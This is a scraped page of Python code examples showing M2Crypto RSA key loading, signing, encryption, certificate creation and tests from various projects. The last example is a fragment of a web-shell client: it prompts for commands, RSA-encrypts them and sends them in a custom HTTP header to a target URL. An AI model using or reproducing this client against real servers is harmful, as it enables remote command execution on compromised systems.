Example #1
0
File: key.py Project: grith/gsindl
def generate_key(key=None, keySize=2048, callback=no_passphrase_callback):
    """This is a wrapper class for handling key pair generation.

    :param key: the :class:`str` or file path to the key
    :param keySize: The size of the key to be generated (default 2048)
    :param callback: a function that is called when outputting the key,
       it's used to encrypt the key before writing it.

    """
    if isinstance(key, str):
        key = key.strip()
        if key.startswith("-----BEGIN RSA PRIVATE KEY-----"):
            bio = BIO.MemoryBuffer(key)
            _key = RSA.load_key_bio(bio, callback)
        elif path.exists(key):
            keyfile = open(key)

            bio = BIO.File(keyfile)
            key = RSA.load_key_bio(bio, callback)

            _pubkey = EVP.PKey()
            _key = key
            _pubkey.assign_rsa(_key)
        else:
            raise ValueError("WTF")
    else:
        _pubkey = EVP.PKey()
        _key = RSA.gen_key(keySize, m2.RSA_F4, callback=quiet_keygen_callback)
        _pubkey.assign_rsa(_key)
    return _pubkey
Example #2
0
def load_rsa_keys(keyfile):
    """ Loads two RSA keys which are laid out sequentially in PEM. The first
    is the encryption key and the second is the signing key"""

    keyfile_data = open(keyfile, "rb").read()
    # A 2048-bit PEM encoded RSA key is 1675 bytes in length

    encrypt_bio = BIO.MemoryBuffer(keyfile_data[0:1679])
    rsa_encryption = RSA.load_key_bio(encrypt_bio)

    sign_bio = BIO.MemoryBuffer(keyfile_data[1679:])
    rsa_signing = RSA.load_key_bio(sign_bio)

    return [rsa_encryption, rsa_signing]
Example #3
0
def get_userkey(keyfile=None, callback=None):
    """
    function that returns a X509 instance which 
    is the user cert that is expected to be a ~/.globus/userkey.pem
    """
    if keyfile is None:
        keyfile = open(os.path.join(os.getenv("HOME"), ".globus", "userkey.pem"))
    else:
        keyfile = open(keyfile)
    bio = BIO.File(keyfile)
    if callback:
        key = RSA.load_key_bio(bio, callback)
    else:
        key = RSA.load_key_bio(bio)
    return key
def get_userkey(keyfile=None, callback=None):
    """
    function that returns a X509 instance which 
    is the user cert that is expected to be a ~/.globus/userkey.pem
    """
    if keyfile is None:
        keyfile = open(
            os.path.join(os.getenv("HOME"), ".globus", "userkey.pem"))
    else:
        keyfile = open(keyfile)
    bio = BIO.File(keyfile)
    if callback:
        key = RSA.load_key_bio(bio, callback)
    else:
        key = RSA.load_key_bio(bio)
    return key
Example #5
0
 def test_loadkey_bio(self):
     keybio = BIO.MemoryBuffer(open(self.privkey).read())
     rsa = RSA.load_key_bio(keybio)
     self.assertEqual(len(rsa), 1024)
     self.assertEqual(rsa.e,
                      '\000\000\000\003\001\000\001')  # aka 65537 aka 0xf4
     self.assertEqual(rsa.check_key(), 1)
Example #6
0
def EncryptCode(string,private_key):
    priv_bio = BIO.MemoryBuffer(private_key)
    rsa = RSA.load_key_bio(priv_bio)
    priv_key = EVP.load_key_string(private_key)
    encrypted = rsa.private_encrypt(string, RSA.pkcs1_padding)
    enstring = encrypted.encode('base64')
    return enstring
Example #7
0
def fetch_rsa_pub_key(header, **kw):
    ## if 'test' defined, use that value for the returned pub key (blech)
    ## extract the target machine from the header.
    if keytype is None and keyname is None:
        raise JWSException('Must specify either keytype or keyname')
    try:
        if 'pem' in header and header.get('pem', None):
            key = base64.urlsafe_b64decode(header.get('pem')).strip()
            bio = BIO.MemoryBuffer(key)
            pubbit = RSA.load_key_bio(bio).pub()
            pub = {
                'n': int(pubbits[0].encode('hex'), 16),
                'e': int(pubbits[1].encode('hex'), 16)
            }
        elif 'jku' in header and header.get('jku', None):
            key = header['jku']
            if key.lower().startswith('data:'):
                pub = cjson.decode(key[key.index('base64,')+7:])
        return pub
        """
        pub = {
            'n': key.get('modulus', None),
            'e': key.get('exponent', None)
        }
        #"""
        # return pub
    except (AttributeError, KeyError), ex:
        logger.error("Internal RSA error: %s" % str(ex))
        raise(JWSException("Could not extract key"))
Example #8
0
    def test_not_validated_returned(self, mock_open):
        document = {}
        message = 'hello'
        key_path = '/etc/pki/pulp/consumer/server/rsa_pub.pem'
        key = RSA.load_key_bio(BIO.MemoryBuffer(RSA_KEY))

        test_conf = {'server': {'rsa_pub': key_path}}
        self.plugin.pulp_conf.update(test_conf)

        mock_fp = Mock()
        mock_fp.read = Mock(return_value=RSA_PUB)
        mock_open.return_value = mock_fp

        # test
        try:
            patcher = patch('pulp.agent.gofer.pulpplugin.RSA')
            rsa = patcher.start()
            rsa.load_pub_key_bio.return_value.verify.return_value = False
            authenticator = self.plugin.Authenticator()
            self.assertRaises(ValidationFailed, authenticator.validate,
                              document, message, key.sign(message))
        finally:
            if patcher:
                patcher.stop()

        # validation
        mock_open.assert_called_with(key_path)
        mock_fp.close.assert_called_with()
Example #9
0
def verify_and_decrypt(pmsg,
                       emsg,
                       sig,
                       senderPubPem,
                       receiverPrivPem,
                       hash = 'sha256',
                       cipher = 'aes_256_cbc',
                       padding = 'pkcs1_oaep'):

   padding = PADDING[padding]

   pmsg = binascii.a2b_base64(pmsg)
   emsg = binascii.a2b_base64(emsg)
   sig = binascii.a2b_base64(sig)

   key_len = int(cipher.split("_")[1])
   md = EVP.MessageDigest(hash)
   md.update(pmsg)
   md.update(emsg)
   digest = md.digest()

   skey = RSA.load_pub_key_bio(BIO.MemoryBuffer(senderPubPem))
   if not skey.verify(digest, sig, hash):
      raise Exception("could not verify signature")

   rkey = RSA.load_key_bio(BIO.MemoryBuffer(receiverPrivPem))

   kv = rkey.private_decrypt(emsg, padding)
   key = kv[0:key_len/8]
   iv = kv[key_len/8:]

   c = EVP.Cipher(alg = cipher, key = key, iv = iv, op = m2.decrypt)
   msg = cipher_filter(c, pmsg)

   return msg
Example #10
0
def encrypt_and_sign(msg,
                     senderPrivPem,
                     receiverPubPem,
                     hash = 'sha256',
                     cipher = 'aes_256_cbc',
                     padding = 'pkcs1_oaep'):

   padding = PADDING[padding]

   key_len = int(cipher.split("_")[1])
   key = os.urandom(key_len/8)
   iv = os.urandom(key_len/8)
   c = EVP.Cipher(alg = cipher, key = key, iv = iv, op = m2.encrypt)
   pmsg = cipher_filter(c, msg)

   rkey = RSA.load_pub_key_bio(BIO.MemoryBuffer(receiverPubPem))
   emsg = rkey.public_encrypt(key + iv, padding)

   md = EVP.MessageDigest(hash)
   md.update(pmsg)
   md.update(emsg)
   digest = md.digest()

   skey = RSA.load_key_bio(BIO.MemoryBuffer(senderPrivPem))
   sig = skey.sign(digest, hash)

   return (binascii.b2a_base64(pmsg).strip(),
           binascii.b2a_base64(emsg).strip(),
           binascii.b2a_base64(sig).strip())
Example #11
0
def create_certificate_signing_request(subjectPrivKey,
                                       subjectInfo,
                                       version = 0,
                                       hash = 'sha1'):
   """
   Create a certificate signing request (CSR) and return CSR in PEM and text
   formats.

   :param subjectPrivKey: Subject private RSA key in PEM format.
   :type subjectPrivKey: str
   :param subjectInfo: Subject information.
   :type subjectInfo: dict
   :param version: CSR version.
   :type version: int
   :param hash: CSR signing hash, one of 'sha1', 'sha256', ..
   :type hash: str
   :returns tuple -- (CSR in PEM format, CSR as text).
   """

   skey = RSA.load_key_bio(BIO.MemoryBuffer(subjectPrivKey))
   if skey.check_key() != 1:
      raise Exception("invalid subject RSA key")
   p_skey = EVP.PKey(md = hash)
   p_skey.assign_rsa(skey)

   csr = X509.Request()
   csr.set_version(version)
   csr.set_pubkey(p_skey)

   subject = x509name_from_info(subjectInfo)
   csr.set_subject(subject)
   csr.sign(p_skey, hash)
   return (csr.as_pem(), csr.as_text())
Example #12
0
    def test_not_validated_returned(self, mock_open):
        document = {}
        message = 'hello'
        key_path = '/etc/pki/pulp/consumer/server/rsa_pub.pem'
        key = RSA.load_key_bio(BIO.MemoryBuffer(RSA_KEY))


        test_conf = {'server': {'rsa_pub': key_path}}
        self.plugin.pulp_conf.update(test_conf)

        mock_fp = Mock()
        mock_fp.read = Mock(return_value=RSA_PUB)
        mock_open.return_value = mock_fp

        # test
        try:
            patcher = patch('pulp.agent.gofer.pulpplugin.RSA')
            rsa = patcher.start()
            rsa.load_pub_key_bio.return_value.verify.return_value = False
            authenticator = self.plugin.Authenticator()
            self.assertRaises(
                ValidationFailed, authenticator.validate, document, message, key.sign(message))
        finally:
            if patcher:
                patcher.stop()

        # validation
        mock_open.assert_called_with(key_path)
        mock_fp.close.assert_called_with()
Example #13
0
def EncryptCode(string, private_key):
    priv_bio = BIO.MemoryBuffer(private_key)
    rsa = RSA.load_key_bio(priv_bio)
    priv_key = EVP.load_key_string(private_key)
    encrypted = rsa.private_encrypt(string, RSA.pkcs1_padding)
    enstring = encrypted.encode('base64')
    return enstring
Example #14
0
 def genEncryptCode(self,machine_code,private_key):
     priv_bio = BIO.MemoryBuffer(private_key)
     rsa = RSA.load_key_bio(priv_bio)
     priv_key = EVP.load_key_string(private_key)
     encrypted = rsa.private_encrypt(machine_code, RSA.pkcs1_padding)
     regCode = encrypted.encode('base64')
     return regCode
Example #15
0
 def test_loadkey_bio(self):
     with open(self.privkey, "rb") as f:
         keybio = BIO.MemoryBuffer(f.read())
     rsa = RSA.load_key_bio(keybio)
     self.assertEqual(len(rsa), 1024)
     self.assertEqual(rsa.e,
                      b'\000\000\000\003\001\000\001')  # aka 65537 aka 0xf4
     self.assertEqual(rsa.check_key(), 1)
Example #16
0
    def RSA_decryptor(self, cipher, RSA_private_key):

        bio = BIO.MemoryBuffer(RSA_private_key.encode('ascii')) 
        rsa = RSA.load_key_bio(bio)
        
        decrypted = rsa.private_decrypt(cipher.decode('hex'), RSA.pkcs1_padding)

        return decrypted
Example #17
0
 def load(self):
     """
     Load the private key.
     """
     path = pulp_conf.get('authentication', 'rsa_key')
     with open(path) as fp:
         pem = fp.read()
         bfr = BIO.MemoryBuffer(pem)
         self.rsa_key = RSA.load_key_bio(bfr)
Example #18
0
    def test_signing(self):
        message = 'hello'
        key = RSA.load_key_bio(BIO.MemoryBuffer(RSA_KEY))

        authenticator = Authenticator()
        authenticator.rsa_key = key
        signature = authenticator.sign(message)

        self.assertEqual(signature, key.sign(message))
Example #19
0
    def test_signing(self):
        message = 'hello'
        key = RSA.load_key_bio(BIO.MemoryBuffer(RSA_KEY))

        authenticator = Authenticator()
        authenticator.rsa_key = key
        signature = authenticator.sign(message)

        self.assertEqual(signature, key.sign(message))
Example #20
0
def withM2(addr):
  import M2Crypto
  from M2Crypto.BIO import MemoryBuffer
  from M2Crypto import RSA as mRSA
  rsa=process.readBytes(addr, ctypes.sizeof(ctypes_openssl.RSA) )
  bio=MemoryBuffer(rsa)
  # tsssi need PEM
  myrsa=mRSA.load_key_bio(bio)
  return myrsa
Example #21
0
File: auth.py Project: omps/pulp
 def load(self):
     """
     Load the private key.
     """
     path = pulp_conf.get('authentication', 'rsa_key')
     with open(path) as fp:
         pem = fp.read()
         bfr = BIO.MemoryBuffer(pem)
         self.rsa_key = RSA.load_key_bio(bfr)
Example #22
0
def withM2(addr):
    import M2Crypto
    from M2Crypto.BIO import MemoryBuffer
    from M2Crypto import RSA as mRSA
    rsa = process.readBytes(addr, ctypes.sizeof(ctypes_openssl.RSA))
    bio = MemoryBuffer(rsa)
    # tsssi need PEM
    myrsa = mRSA.load_key_bio(bio)
    return myrsa
Example #23
0
    def signResponse(self, response):
        digest = hashlib.sha1()
        digest.update(json.dumps(response))

        bio                   = BIO.MemoryBuffer(self.privateKey)
        key                   = RSA.load_key_bio(bio)
        signature             = key.sign(digest.digest(), 'sha1')
        response['signature'] = base64.standard_b64encode(signature)

        return json.dumps(response)
Example #24
0
    def signResponse(self, response):
        digest = hashlib.sha1()
        digest.update(json.dumps(response))

        bio = BIO.MemoryBuffer(self.privateKey)
        key = RSA.load_key_bio(bio)
        signature = key.sign(digest.digest(), 'sha1')
        response['signature'] = base64.standard_b64encode(signature)

        return json.dumps(response)
Example #25
0
def sign_content(content, private_key):
    """Sign content with a private key."""

    m = hashlib.md5()
    m.update(content)
    bio = BIO.MemoryBuffer(private_key)
    rsa_priv = RSA.load_key_bio(bio)
    sig_before_raw = rsa_priv.sign(m.digest(), 'md5')
    sig = base64.standard_b64encode(sig_before_raw)

    return sig
Example #26
0
    def __init__(self, data, password, private_key, private_key_password):
        bio = BIO.MemoryBuffer(str(private_key).encode('utf8')) # read private key into memory
        rsa = RSA.load_key_bio(bio, callback=lambda x: self.__passphrase(private_key_password)) # load private key
        
        pwd = b64decode(password) # decode password
        dnc = str(rsa.private_decrypt(pwd, RSA.pkcs1_oaep_padding)) #  decrypt password
        self.__decrypted_password = dnc

        crypto_service = aes_encryption_service()
        cipher = crypto_service.aes_decrypt(dnc, b64decode(data))
        self.__data = cipher
Example #27
0
	def _import_keys(self):
		public_bio = BIO.MemoryBuffer(self.public_key) if self.public_key \
			else None
		self.rsa_public = M2C_RSA.load_pub_key_bio(public_bio) \
			if public_bio else M2C_RSA.load_pub_key(self.public_key_filename)

		private_bio = BIO.MemoryBuffer(self.private_key) if self.private_key \
			else None
		self.rsa_private = M2C_RSA.load_key_bio(private_bio) \
			if private_bio else M2C_RSA.load_key(self.private_key_filename,
				callback=self.dpc)
def sign_content(content, private_key):
	"""Sign content with a private key."""

	m = hashlib.md5()
	m.update(content)
	bio = BIO.MemoryBuffer(private_key)
	rsa_priv = RSA.load_key_bio(bio)
	sig_before_raw = rsa_priv.sign(m.digest(),'md5') 
	sig = base64.standard_b64encode(sig_before_raw) 

	return sig
Example #29
0
 def _sign_RS(self, alg, header, sbs):
     priv_key_u = self._config.get('jws.rsa_key_path', None)
     if priv_key_u is None:
         raise(JWSException("No private key found for RSA signature"))
     bio = BIO.openfile(priv_key_u)
     rsa = RSA.load_key_bio(bio)
     if not rsa.check_key():
         raise(JWSException("Invalid key specified"))
     digest = self._get_sha(alg[2:])(sbs).digest()
     signature = rsa.sign_rsassa_pss(digest)
     return '%s.%s' % (sbs, base64.urlsafe_b64encode(signature))
Example #30
0
    def load_keys(self):
        if self.priv_key_location:
            self.priv_key = RSA.load_key(self.priv_key_location)
        elif self.priv_key:
            bio = self._get_bio(self.priv_key)
            self.priv_key = RSA.load_key_bio(bio)

        if self.pub_key_location:
            self.pub_key = RSA.load_pub_key(self.pub_key_location)
        elif self.pub_key:
            bio = self._get_bio(self.pub_key)
            self.pub_key = RSA.load_pub_key_bio(bio)
Example #31
0
    def read(self, proxypath=None):
        """
        reads in a proxy certificate information
        """
        if proxypath is None:
            proxypath = get_proxy_filename()

        proxyfile = open(proxypath)
        bio = BIO.File(proxyfile)
        self._cert = X509.load_cert_bio(bio)
        self._key = RSA.load_key_bio(bio)
        self._issuer = X509.load_cert_bio(bio)
Example #32
0
    def read(self, proxypath=None):
        """
        reads in a proxy certificate information
        """
        if proxypath is None:
            proxypath = get_proxy_filename()

        proxyfile = open(proxypath)
        bio = BIO.File(proxyfile)
        self._cert = X509.load_cert_bio(bio)
        self._key = RSA.load_key_bio(bio)
        self._issuer = X509.load_cert_bio(bio)
Example #33
0
File: crypto.py Project: dsuch/zato
 def load_keys(self):
     if self.priv_key_location:
         self.priv_key = RSA.load_key(self.priv_key_location)
     elif self.priv_key:
         bio = self._get_bio(self.priv_key)
         self.priv_key = RSA.load_key_bio(bio)
         
     if self.pub_key_location:
         self.pub_key = RSA.load_pub_key(self.pub_key_location)
     elif self.pub_key:
         bio = self._get_bio(self.pub_key)
         self.pub_key = RSA.load_pub_key_bio(bio)
Example #34
0
def decrypt_RSA(key, package):
    '''
    param: public_key_loc Path to your private key
    param: package String to be decrypted
    return decrypted string
    '''
    from base64 import b64decode 
    from M2Crypto import BIO, RSA 
    #key = open(private_key_loc, "r").read() 
    priv_key = BIO.MemoryBuffer(key.encode('utf8')) 
    key = RSA.load_key_bio(priv_key) 
    decrypted = key.private_decrypt(b64decode(package), RSA.pkcs1_oaep_padding) 
    return decrypted
Example #35
0
    def test_not_validated(self, mock_get):
        message = 'hello'
        consumer_id = 'test-consumer_id'
        document = Mock()
        document.any = {'consumer_id': consumer_id}
        key = RSA.load_key_bio(BIO.MemoryBuffer(OTHER_KEY))

        mock_get.return_value = RSA.load_pub_key_bio(BIO.MemoryBuffer(RSA_PUB))

        authenticator = Authenticator()
        self.assertRaises(ValidationFailed, authenticator.validate, document,
                          message, key.sign(message))
        mock_get.assert_called_with(consumer_id)
Example #36
0
def read_key(file_path, type):
    """
    读取RSA密钥
    :param file_path: 文件路径
    :param type: 密钥类型,private:私钥|public:公钥
    :return:
    """
    with open(file_path, "rb") as file_handler:
        rea_key = BIO.MemoryBuffer(file_handler.read())
    if type == "private":
        return RSA.load_key_bio(rea_key)
    else:
        return RSA.load_pub_key_bio(rea_key)
Example #37
0
def load_private_key(from_url=False, url=None):

    if url and from_url:
        try:
            key_str = urlopen(url).read()
            bio = BIO.MemoryBuffer(key_str)
            key = RSA.load_key_bio(bio)
        except IOError:
            key = None
    else:
        key = None

    return key
Example #38
0
def decrypt_RSA(key, package):
    '''
    param: public_key_loc Path to your private key
    param: package String to be decrypted
    return decrypted string
    '''
    from base64 import b64decode
    from M2Crypto import BIO, RSA
    #key = open(private_key_loc, "r").read()
    priv_key = BIO.MemoryBuffer(key.encode('utf8'))
    key = RSA.load_key_bio(priv_key)
    decrypted = key.private_decrypt(b64decode(package), RSA.pkcs1_oaep_padding)
    return decrypted
Example #39
0
    def test_not_validated(self, mock_get):
        message = 'hello'
        consumer_id = 'test-consumer_id'
        document = Mock()
        document.any = {'consumer_id': consumer_id}
        key = RSA.load_key_bio(BIO.MemoryBuffer(OTHER_KEY))

        mock_get.return_value = RSA.load_pub_key_bio(BIO.MemoryBuffer(RSA_PUB))

        authenticator = Authenticator()
        self.assertRaises(
            ValidationFailed, authenticator.validate, document, message, key.sign(message))
        mock_get.assert_called_with(consumer_id)
	def sign_rsa_base64(self, data, digest):
		"""Sign hash of data with the server's private key.
		@param data: binary data blob
		@param digest: digest to use ('md5', 'sha1', 'sha256'...)
		@returns: base64-encoded signature of hashed data
		"""
		m = hashlib.new(digest)
		m.update(data)
		bio = BIO.MemoryBuffer(self.notary_priv_key)
		rsa_priv = RSA.load_key_bio(bio)
		signature = rsa_priv.sign(m.digest(), digest)
		base64_signature = base64.standard_b64encode(signature)
		
		return base64_signature
Example #41
0
    def read(self, keyfile, certfile, passphrase=None):
        """ Reads key and cert, from files

            keyfile -- file where key is stored.  Must be PEM encoded.
            certfile -- file where certificate is stored. Must be PEM encoded. 
        
            Raises: CrendentialError -- if files can't be read, or keyfile not owned
                                    by running process
        """
        if keyfile:
            st = os.stat(keyfile)
            dir(st)
            user_id = os.geteuid()
            if st.st_uid != user_id:
                raise CredentialError("Keyfile error", 
                    "Keyfile '%s' not owned by user runnig process ('%d')" % \
                    (keyfile, user_id))
            try:
                key_bio = BIO.File(open(keyfile,'r'))
                if not passphrase:
                    self._key = RSA.load_key_bio(key_bio, self.passwd_callback)
                else:
                    self._key = RSA.load_key_bio(key_bio, 
                        lambda *args, **kw: passphrase)
                key_bio.close()
                
                cert_bio = BIO.File(open(certfile,'r'))
                self._cert = X509.load_cert_bio(cert_bio)
                while True:
                    crt = X509.load_cert_bio(cert_bio)
                    if  crt.verify() == 0: # XXX look for a more elegant way
                        break
                    self._cert_chain.append(crt)
                cert_bio.close()
            except Exception, err:
                raise CredentialError("Failed read", err.__str__())
Example #42
0
def decrypt(mess,pvt_key):
    """
    Decrypts the message mess by the private key pvt_key
    """
    cipher = mess.decode('base64')
    mem = BIO.MemoryBuffer(pvt_key)
    key = RSA.load_key_bio(mem)
    try:
        plain = key.private_decrypt(cipher,RSA.pkcs1_oaep_padding)
    except:
        plain = ""

    if plain == "":
        return ""

    return plain
Example #43
0
 def sign(self, digest):
     """
     Sign the specified message.
     :param digest: A message digest.
     :type digest: str
     :return: The message signature.
     :rtype: str
     """
     fp = open(cfg.authentication.rsa_key)
     try:
         pem = fp.read()
         bfr = BIO.MemoryBuffer(pem)
         key = RSA.load_key_bio(bfr)
         return key.sign(digest)
     finally:
         fp.close()
Example #44
0
 def sign(self, digest):
     """
     Sign the specified message.
     :param digest: A message digest.
     :type digest: str
     :return: The message signature.
     :rtype: str
     """
     fp = open(cfg.authentication.rsa_key)
     try:
         pem = fp.read()
         bfr = BIO.MemoryBuffer(pem)
         key = RSA.load_key_bio(bfr)
         return key.sign(digest)
     finally:
         fp.close()
Example #45
0
def decrypt(mess, pvt_key):
    """
    Decrypts the message mess by the private key pvt_key
    """
    cipher = mess.decode('base64')
    mem = BIO.MemoryBuffer(pvt_key)
    key = RSA.load_key_bio(mem)
    try:
        plain = key.private_decrypt(cipher, RSA.pkcs1_oaep_padding)
    except:
        plain = ""

    if plain == "":
        return ""

    return plain
Example #46
0
    def asymmetric_decrypt(data, key):
        """Decrypt data encrypted using asymmetric keys

        :param data: data to decrypt
        :param key: string containing private key in PEM format
        :return: True and decrypted data in case of success, False and error_msg
        otherwise
        """
        try:
            from M2Crypto import BIO, RSA

            private_key = BIO.MemoryBuffer(key)
            key = RSA.load_key_bio(private_key)
            decrypted = key.private_decrypt(data, RSA.pkcs1_padding)
            return decrypted
        except Exception as error_msg:
            raise AsymmetricDecryptFailure(error_msg)
Example #47
0
def create_certificate(issuerPrivKey,
                       issuerInfo,
                       subjectPubKey,
                       subjectInfo,
                       validForDays,
                       serial,
                       version = 0,
                       hash = 'sha1'):
   """
   Create a certificate and return certificate (PEM, text, fingerprint).
   """

   ikey = RSA.load_key_bio(BIO.MemoryBuffer(issuerPrivKey))
   if ikey.check_key() != 1:
      raise Exception("invalid issuer RSA key")
   p_ikey = EVP.PKey(md = hash)
   p_ikey.assign_rsa(ikey)

   skey = RSA.load_pub_key_bio(BIO.MemoryBuffer(subjectPubKey))
   if skey.check_key() != 1:
      raise Exception("invalid subject RSA key")
   p_skey = EVP.PKey(md = hash)
   p_skey.assign_rsa(skey)

   cert = X509.X509()
   cert.set_pubkey(p_skey)

   issuer = x509name_from_info(issuerInfo)
   cert.set_issuer(issuer)

   subject = x509name_from_info(subjectInfo)
   cert.set_subject(subject)

   notBefore = m2.x509_get_not_before(cert.x509)
   notAfter = m2.x509_get_not_after(cert.x509)
   m2.x509_gmtime_adj(notBefore, 0)
   m2.x509_gmtime_adj(notAfter, 60 * 60 * 24 * validForDays)

   cert.set_serial_number(serial)
   cert.set_version(version)

   cert.sign(p_ikey, hash)
   return (cert.as_pem(), cert.as_text(), cert_fingerprint(cert))
Example #48
0
def rsaDecrypt(private_key: "私钥", message: "要解密的信息", showAllInfo=True):
    """RSA 解密"""
    if (isinstance(private_key, bytes) == False):
        private_key = bytes(private_key, encoding="utf8")
    bio = BIO.MemoryBuffer(private_key)
    rsa_pri = RSA.load_key_bio(bio)
    buffer = None
    while message:
        input = message[:512]
        if showAllInfo:
            tlog("正在解密分段 ...")
        snidata = rsa_pri.private_decrypt(input, RSA.pkcs1_padding)
        if showAllInfo:
            tlog(snidata)
        if buffer == None:
            buffer = snidata
        else:
            buffer = buffer + snidata
        message = message[512:]
    return buffer
Example #49
0
    def load(path=None, pem=None):
        """
        Get/Load an RSA key at the specified path.

        :param path: An absolute path to a PEM encoded key.
        :type path: str
        :param pem: A PEM encoded key.
        :type pem: str
        :return: The loaded key.
        :rtype: RSA.RSA
        """
        if path:
            with open(path) as fp:
                pem = fp.read()
        bfr = BIO.MemoryBuffer(pem)
        if "PRIVATE" in pem:
            key = RSA.load_key_bio(bfr)
        else:
            key = RSA.load_pub_key_bio(bfr)
        return key
Example #50
0
    def load(path=None, pem=None):
        """
        Get/Load an RSA key at the specified path.

        :param path: An absolute path to a PEM encoded key.
        :type path: str
        :param pem: A PEM encoded key.
        :type pem: str
        :return: The loaded key.
        :rtype: RSA.RSA
        """
        if path:
            with open(path) as fp:
                pem = fp.read()
        bfr = BIO.MemoryBuffer(pem)
        if 'PRIVATE' in pem:
            key = RSA.load_key_bio(bfr)
        else:
            key = RSA.load_pub_key_bio(bfr)
        return key
Example #51
0
    def test_signing(self, mock_open):
        message = 'hello'
        key_path = '/etc/pki/pulp/rsa.pem'
        key = RSA.load_key_bio(BIO.MemoryBuffer(RSA_KEY))

        test_conf = {'authentication': {'rsa_key': key_path}}
        self.plugin.pulp_conf.update(test_conf)

        mock_fp = Mock()
        mock_fp.read = Mock(return_value=RSA_KEY)
        mock_open.return_value = mock_fp

        # test

        authenticator = self.plugin.Authenticator()
        signature = authenticator.sign(message)

        # validation
        mock_open.assert_called_with(key_path)
        self.assertEqual(signature, key.sign(message))
        mock_fp.close.assert_called_with()
Example #52
0
    def test_not_validated(self, mock_open):
        document = {}
        message = 'hello'
        key_path = '/etc/pki/pulp/consumer/server/rsa_pub.pem'
        key = RSA.load_key_bio(BIO.MemoryBuffer(OTHER_KEY))

        test_conf = {'server': {'rsa_pub': key_path}}
        self.plugin.pulp_conf.update(test_conf)

        mock_fp = Mock()
        mock_fp.read = Mock(return_value=RSA_PUB)
        mock_open.return_value = mock_fp

        # test

        authenticator = self.plugin.Authenticator()
        self.assertRaises(ValidationFailed, authenticator.validate, document,
                          message, key.sign(message))

        # validation
        mock_open.assert_called_with(key_path)
        mock_fp.close.assert_called_with()
Example #53
0
def create_selfsigned_certificate(entityPrivKey,
                                  entityInfo,
                                  validForDays,
                                  serial,
                                  version = 0,
                                  hash = 'sha1'):
   """
   Create a self-signed certificate and return certificate (PEM, text, fingerprint).
   """

   ekey = RSA.load_key_bio(BIO.MemoryBuffer(entityPrivKey))
   ekey_pub_mem = BIO.MemoryBuffer()
   ekey.save_pub_key_bio(ekey_pub_mem)
   ekey_pub_pem = ekey_pub_mem.getvalue()

   return create_certificate(entityPrivKey,
                             entityInfo,
                             ekey_pub_pem,
                             entityInfo,
                             validForDays,
                             serial,
                             version,
                             hash)
Example #54
0
import sys, os, socket, uuid, hashlib, hmac, time, subprocess
import time
from Crypto.Cipher import AES, DES
from M2Crypto import RSA, X509, EVP, BIO

#output file for Alice
f = open('Alice_out.txt', 'w')
server_socket = 10000

#load certificate
certificate = open('Alice.crt').read()

#load private key
pk = open('Alice.key').read()
bio = BIO.MemoryBuffer(pk)
key = RSA.load_key_bio(bio)

#encryption method
encryption_method = 'ECB' #can change it to CBC

#create a TCP/IP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#connect socket to the port where the server is listening
server_address = ('localhost', server_socket)
print('Connecting to Bob..')
f.write('[Alice]: Connecting to bob on %s: %s\n' % server_address)
sock.connect(server_address)

#Start timing after the connection is made
startTime = time.perf_counter()
Example #55
0
        }
        print("[i] proxy: " + a)

if len(args) != 1:
    print("[f] missing target")
    print("%s: [-p|--proxy proxy] targetUrl" % sys.argv[0])
    sys.exit(2)

url = args[0]
print("[i] target url: %s" % url)
print("[i] WARNING: Remember that each cmd is in a separate shell")

# TODO: check less than keylength?

bio = BIO.MemoryBuffer(key)
rsa = RSA.load_key_bio(bio)

s = requests.session()
s.headers.update({
    'User-Agent':
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0'
})

while True:
    cmd = raw_input("httpsh# ")
    if cmd == "exit":
        sys.exit(0)

    cmdEnc = rsa.private_encrypt(cmd, RSA.pkcs1_padding)
    cmdEncB64 = base64.b64encode(cmdEnc)
    headers = {"X-m0noc": cmdEncB64}